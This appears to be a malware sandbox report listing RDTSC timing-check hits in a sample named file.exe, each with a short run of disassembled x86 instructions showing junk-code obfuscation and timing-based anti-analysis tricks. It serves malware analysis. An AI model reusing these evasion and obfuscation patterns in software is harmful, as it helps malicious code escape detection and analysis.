Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838F5A second address: 838F60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838F60 second address: 838F64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838A8F second address: 838A9D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9E7960D376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838A9D second address: 838AA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838AA1 second address: 838AB1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D37Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838C50 second address: 838C56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838C56 second address: 838C5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 841B25 second address: 841B2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844B7D second address: 844B8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D37Dh 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844B8F second address: 844B95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 856397 second address: 85639C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85639C second address: 8563AF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F9E78CDB7AEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 857891 second address: 8578AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D37Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9E7960D37Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C505 second address: 85C50D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C50D second address: 85C511 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C511 second address: 85C51D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C51D second address: 85C521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C686 second address: 85C68A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8754F9 second address: 8754FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8754FD second address: 875516 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jns 00007F9E78CDB7A6h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9E78CDB7ABh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 875516 second address: 87551A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87551A second address: 87551E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87728C second address: 877292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 877292 second address: 877297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 877297 second address: 8772C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9E7960D380h 0x00000008 jmp 00007F9E7960D385h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8772C1 second address: 8772D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F9E78CDB7A6h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879C6D second address: 879C71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879F7E second address: 879F85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87B664 second address: 87B66A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87B66A second address: 87B66E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87B66E second address: 87B672 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87B672 second address: 87B694 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e jnl 00007F9E78CDB7AAh 0x00000014 js 00007F9E78CDB7AEh 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87D5FC second address: 87D606 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F9E7960D376h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F205 second address: 87F20F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F9E78CDB7A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F20F second address: 87F213 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F213 second address: 87F219 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A902C8 second address: 2A90311 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 mov dx, 03FCh 0x00000009 pushfd 0x0000000a jmp 00007F9E7960D385h 0x0000000f add ecx, 31E17F56h 0x00000015 jmp 00007F9E7960D381h 0x0000001a popfd 0x0000001b popad 0x0000001c popad 0x0000001d xchg eax, ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F9E7960D37Dh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A90311 second address: 2A90344 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 070CD242h 0x00000008 mov dh, D0h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007F9E78CDB7B5h 0x00000013 xchg eax, ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F9E78CDB7ADh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A90344 second address: 2A903E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F9E7960D387h 0x00000008 pop eax 0x00000009 call 00007F9E7960D389h 0x0000000e pop esi 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov ebp, esp 0x00000014 jmp 00007F9E7960D387h 0x00000019 mov edx, dword ptr [ebp+0Ch] 0x0000001c pushad 0x0000001d call 00007F9E7960D384h 0x00000022 movzx esi, bx 0x00000025 pop ebx 0x00000026 pushfd 0x00000027 jmp 00007F9E7960D37Ch 0x0000002c jmp 00007F9E7960D385h 0x00000031 popfd 0x00000032 popad 0x00000033 mov ecx, dword ptr [ebp+08h] 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F9E7960D37Dh 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A9041F second address: 2A90439 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9E78CDB7AFh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0454 second address: 4BD045A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD045A second address: 4BD0478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov edi, 6CF4061Eh 0x0000000a popad 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9E78CDB7B0h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0478 second address: 4BD04DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D37Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F9E7960D386h 0x00000010 xchg eax, ecx 0x00000011 pushad 0x00000012 push eax 0x00000013 pushad 0x00000014 popad 0x00000015 pop edx 0x00000016 mov ch, 32h 0x00000018 popad 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F9E7960D387h 0x00000023 jmp 00007F9E7960D383h 0x00000028 popfd 0x00000029 mov eax, 61A94B8Fh 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD04DE second address: 4BD04E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD04E4 second address: 4BD04E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD04E8 second address: 4BD04EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD04EC second address: 4BD04FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ax, dx 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD04FC second address: 4BD0513 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9E78CDB7B3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0513 second address: 4BD0565 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D389h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d movzx ecx, dx 0x00000010 pushfd 0x00000011 jmp 00007F9E7960D389h 0x00000016 jmp 00007F9E7960D37Bh 0x0000001b popfd 0x0000001c popad 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0565 second address: 4BD056B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD056B second address: 4BD0571 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0571 second address: 4BD0582 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov si, 7DFFh 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD06D9 second address: 4BD06DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD06DD second address: 4BD06E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD06E3 second address: 4BD06E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD06E9 second address: 4BD071E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7B0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F9E78CDB80Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9E78CDB7B7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD071E second address: 4BD0724 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0724 second address: 4BD0728 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0728 second address: 4BD072C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0741 second address: 4BD0746 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0318 second address: 4BC0321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cx, 2A99h 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0321 second address: 4BC0353 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7AFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F9E78CDB7B6h 0x00000010 push FFFFFFFEh 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0353 second address: 4BC0359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0359 second address: 4BC035E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC035E second address: 4BC0375 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov cx, 4621h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push 692DEA41h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0375 second address: 4BC038B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC038B second address: 4BC0391 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0391 second address: 4BC03CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 0C80B407h 0x0000000f jmp 00007F9E78CDB7B9h 0x00000014 push 13565091h 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F9E78CDB7AAh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC03CA second address: 4BC03F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D37Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 66FF7BE1h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F9E7960D385h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0527 second address: 4BC0573 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 xchg eax, ebx 0x00000007 pushad 0x00000008 pushfd 0x00000009 jmp 00007F9E78CDB7B6h 0x0000000e sub esi, 5C7C5438h 0x00000014 jmp 00007F9E78CDB7ABh 0x00000019 popfd 0x0000001a pushad 0x0000001b movzx ecx, bx 0x0000001e jmp 00007F9E78CDB7ABh 0x00000023 popad 0x00000024 popad 0x00000025 xchg eax, esi 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 mov esi, ebx 0x0000002b mov cx, di 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0573 second address: 4BC05C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, eax 0x00000005 mov edi, eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F9E7960D387h 0x00000010 xchg eax, esi 0x00000011 jmp 00007F9E7960D386h 0x00000016 xchg eax, edi 0x00000017 jmp 00007F9E7960D380h 0x0000001c push eax 0x0000001d pushad 0x0000001e mov bx, FF34h 0x00000022 push eax 0x00000023 push edx 0x00000024 mov si, di 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC05C8 second address: 4BC05DE instructions: 0x00000000 rdtsc 0x00000002 mov ecx, ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, edi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F9E78CDB7ACh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC05DE second address: 4BC05E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC05E4 second address: 4BC05E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC05E8 second address: 4BC060D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [75AF4538h] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov esi, 12BAC271h 0x00000015 call 00007F9E7960D37Eh 0x0000001a pop esi 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC060D second address: 4BC063F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9E78CDB7ADh 0x00000009 sbb cl, FFFFFFB6h 0x0000000c jmp 00007F9E78CDB7B1h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 xor dword ptr [ebp-08h], eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC063F second address: 4BC0643 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0643 second address: 4BC0647 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0647 second address: 4BC064D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC064D second address: 4BC068B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, eax 0x00000005 pushfd 0x00000006 jmp 00007F9E78CDB7ACh 0x0000000b add cx, EC08h 0x00000010 jmp 00007F9E78CDB7ABh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xor eax, ebp 0x0000001b jmp 00007F9E78CDB7AFh 0x00000020 nop 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 mov edi, esi 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC068B second address: 4BC0784 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9E7960D389h 0x00000009 sbb cl, FFFFFF86h 0x0000000c jmp 00007F9E7960D381h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F9E7960D380h 0x00000018 adc cx, 6328h 0x0000001d jmp 00007F9E7960D37Bh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 push eax 0x00000027 jmp 00007F9E7960D389h 0x0000002c nop 0x0000002d pushad 0x0000002e mov cl, 66h 0x00000030 pushfd 0x00000031 jmp 00007F9E7960D389h 0x00000036 add esi, 7614D4A6h 0x0000003c jmp 00007F9E7960D381h 0x00000041 popfd 0x00000042 popad 0x00000043 lea eax, dword ptr [ebp-10h] 0x00000046 pushad 0x00000047 movzx eax, bx 0x0000004a push ebx 0x0000004b pushfd 0x0000004c jmp 00007F9E7960D384h 0x00000051 jmp 00007F9E7960D385h 0x00000056 popfd 0x00000057 pop ecx 0x00000058 popad 0x00000059 mov dword ptr fs:[00000000h], eax 0x0000005f pushad 0x00000060 push eax 0x00000061 push edx 0x00000062 jmp 00007F9E7960D383h 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0784 second address: 4BC0801 instructions: 0x00000000 rdtsc 0x00000002 mov di, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007F9E78CDB7B4h 0x0000000d sbb ecx, 288E7A38h 0x00000013 jmp 00007F9E78CDB7ABh 0x00000018 popfd 0x00000019 popad 0x0000001a mov dword ptr [ebp-18h], esp 0x0000001d pushad 0x0000001e mov edx, esi 0x00000020 mov dh, ah 0x00000022 popad 0x00000023 mov eax, dword ptr fs:[00000018h] 0x00000029 jmp 00007F9E78CDB7B3h 0x0000002e mov ecx, dword ptr [eax+00000FDCh] 0x00000034 jmp 00007F9E78CDB7B6h 0x00000039 test ecx, ecx 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F9E78CDB7AAh 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0801 second address: 4BC0810 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D37Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0810 second address: 4BC083A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 mov di, ax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jns 00007F9E78CDB81Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F9E78CDB7B4h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC083A second address: 4BC0849 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D37Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0849 second address: 4BC0861 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9E78CDB7B4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0861 second address: 4BC0877 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9E7960D37Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0877 second address: 4BC0889 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9E78CDB7AEh 0x00000009 rdtsc
